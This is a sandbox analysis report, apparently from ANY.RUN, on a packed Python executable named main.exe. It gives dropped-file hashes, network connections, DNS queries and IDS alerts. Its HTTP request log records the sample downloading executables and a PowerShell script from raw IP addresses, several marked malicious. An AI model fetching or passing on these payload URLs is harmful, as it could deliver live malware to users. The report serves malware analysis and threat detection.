SHA256:50631361EF074BE42D788818AF91D0301D22FA24A970F41F496D8272B92CFE31
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_decimal.pydexecutable
MD5:21FCB8E3D4310346A5DC1A216E7E23CA
SHA256:9A0E05274CAD8D90F6BA6BC594261B36BFBDDF4F5CA6846B6367FE6A4E2FDCE4
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_queue.pydexecutable
MD5:CC0F4A77CCFE39EFC8019FA8B74C06D0
SHA256:DEE7D19A9FCAB0DF043DC56F2CDC32F1A2A968AB229679B38B378C61CA0CBA53
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_cffi_backend.cp313-win_amd64.pydexecutable
MD5:5CBA92E7C00D09A55F5CBADC8D16CD26
SHA256:0E3D149B91FC7DC3367AB94620A5E13AF6E419F423B31D4800C381468CB8AD85
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\api-ms-win-core-console-l1-1-0.dllexecutable
MD5:FC009A82F0FAB71E2C8ADF7F60F489C8
SHA256:D2ADD358A45999E95F67D923F1B4F5A27F5A1A895225121909D716EDF5AE13E7
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_lzma.pydexecutable
MD5:D63E2E743EA103626D33B3C1D882F419
SHA256:7C2D2030D5D246739C5D85F087FCF404BC36E1815E69A8AC7C9541267734FC28
3924main.exeC:\Users\admin\AppData\Local\Temp\_MEI39242\_hashlib.pydexecutable
MD5:3E540EF568215561590DF215801B0F59
SHA256:0ED7A6ED080499BC6C29D7113485A8A61BDBA93087B010FCA67D9B8289CBE6FA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
824
TCP/UDP connections
10 589
DNS requests
400
Threats
2 061

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1268
svchost.exe
GET
200
2.21.240.93:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
2.21.240.93:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
1268
svchost.exe
GET
200
2.21.189.233:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
2.21.189.233:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2780
main.exe
GET
—
198.55.98.29:80
http://198.55.98.29/HOST/VZXCHH66.exe
unknown
—
—
unknown
2780
main.exe
GET
—
198.55.98.29:80
http://198.55.98.29/HOST/BM.ps1
unknown
—
—
unknown
2780
main.exe
GET
200
45.141.233.85:80
http://45.141.233.85/uk.exe
unknown
—
—
unknown
2780
main.exe
GET
—
176.46.157.32:80
http://176.46.157.32/files/6691015685/lmdbDQC.exe
unknown
—
—
malicious
2780
main.exe
GET
—
176.46.157.32:80
http://176.46.157.32/testmine/random.exe
unknown
—
—
malicious
2780
main.exe
GET
—
176.46.157.32:80
http://176.46.157.32/files/7453936223/xgixRpV.exe
unknown
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
5944
MoUsoCoreWorker.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
2.21.240.93:80
crl.microsoft.com
Akamai International B.V.
SE
whitelisted
1268
svchost.exe
2.21.240.93:80
crl.microsoft.com
Akamai International B.V.
SE
whitelisted
1268
svchost.exe
2.21.189.233:80
www.microsoft.com
Akamai International B.V.
GB
whitelisted
—
—
2.21.189.233:80
www.microsoft.com
Akamai International B.V.
GB
whitelisted
1268
svchost.exe
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
2780
main.exe
199.232.174.49:443
urlhaus.abuse.ch
FASTLY
GB
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
  • 20.49.150.241
whitelisted
crl.microsoft.com
  • 2.21.240.93
whitelisted
google.com
  • 142.250.179.142
whitelisted
www.microsoft.com
  • 2.21.189.233
whitelisted
urlhaus.abuse.ch
  • 199.232.174.49
whitelisted
kaczor.org
  • 66.235.200.171
unknown
github.com
  • 140.82.121.4
whitelisted
lomejordesalamanca.es
  • 188.164.198.15
unknown
hbws.cc
  • 185.208.158.17
unknown
www.vuelaviajero.com
  • 208.109.201.79
unknown

Threats

PID
Process
Class
Message
2780
main.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 5
2780
main.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 44
2200
svchost.exe
Potentially Bad Traffic
ET DNS Query for .cc TLD
2780
main.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 5
2780
main.exe
Potential Corporate Privacy Violation
POLICY [ANY.RUN] Python Suspicious User Agent
2780
main.exe
Potentially Bad Traffic
ET INFO Executable Download from dotted-quad Host
2780
main.exe
Potentially Bad Traffic
ET INFO PS1 Powershell File Request
2780
main.exe
Potential Corporate Privacy Violation
POLICY [ANY.RUN] Python Suspicious User Agent
2780
main.exe
Potential Corporate Privacy Violation
POLICY [ANY.RUN] Python Suspicious User Agent
2780
main.exe
Misc Attack
ET DROP Spamhaus DROP Listed Traffic Inbound group 61
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
main.exe